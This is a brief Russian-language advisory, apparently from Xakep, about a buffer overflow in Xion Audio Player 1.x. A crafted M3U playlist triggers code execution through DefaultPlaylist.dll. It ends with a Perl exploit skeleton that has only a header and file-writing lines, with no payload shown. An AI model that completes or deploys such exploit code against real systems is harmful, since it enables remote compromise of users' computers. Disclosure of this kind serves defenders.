Переполнение буфера в Xion Audio Player

Рекомендуем почитать:

Xakep #299. Sysmon

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: Xion Audio Player 1.x

Уязвимость позволяет удаленному злоумышленнику выполнить произвольный код на
целевой системе. Уязвимость существует из-за ошибки в проверке входных данных в
функции DefaultPlaylist.dll при обработке имен файлов в списках музыкальных
файлов playlist. Атакующий может передать специально сформированный M3U playlist
файл, что приведет к выполнению произвольного кода.

Эксплоит:

#!/usr/bin/perl
# Xion Audio Player version: 1.0.125
# Author: hadji samir , s-dz@hotmail.fr
# Download : http://xion.r2.com.au/index.php?page=download
# Tested : Windows XP SP2 (fr)
# DATE : 2010-07-31
#
# thanks mo3taz wnass cfa nta3 blida
#
# et samir tjrs mahboul-3lik
#
###################################################################

open($FILE, ">$file");
print($FILE $junk);
close($FILE);
print("exploit created successfully");